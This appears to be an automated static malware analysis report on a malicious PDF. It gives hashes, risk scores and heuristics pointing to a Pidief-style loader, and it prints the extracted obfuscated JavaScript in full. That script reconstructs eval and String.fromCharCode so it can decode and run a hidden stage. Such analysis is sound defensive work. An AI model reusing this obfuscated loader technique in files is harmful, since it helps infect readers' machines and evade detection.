Malicious PDF — malware analysis report

Static analysis result for SHA-256 571d85de73ecb830…

MALICIOUS

PDF

45.2 KB First seen: 2026-05-09
MD5: e1502efd14290b78f796df852b149790 SHA-1: bbbc01c274183a52f9681d86bfb2be27218238c9 SHA-256: 571d85de73ecb830486405195d2cbfca5f7f3a4349982dfd8c51a336f8c71b00
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flagged this PDF as malicious. The embedded JavaScript is likely responsible for executing the malicious payload, although its specific actions could not be determined without further analysis of the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB265 438 bytes
SHA-256: c316cf2b11b90fb56d3c378b3abad4fea3dcf15e2052ba2b1f403dc2bae4cf2e
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
rpn='';
vqj=('qwrwqr','tit');
e('sirs=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
liaj=e('String.fr'+sirs.substr(0,10));
boz = e(sirs.substr(10)['replace'](/u/g,','));
e('k=boz.length');
for (i = 0; i < k; i+=2) {
	zfrt = boz[i+1] + ('erybjkerl',boz[i]);
	rpn += liaj(zfrt);
}
e(rpn);

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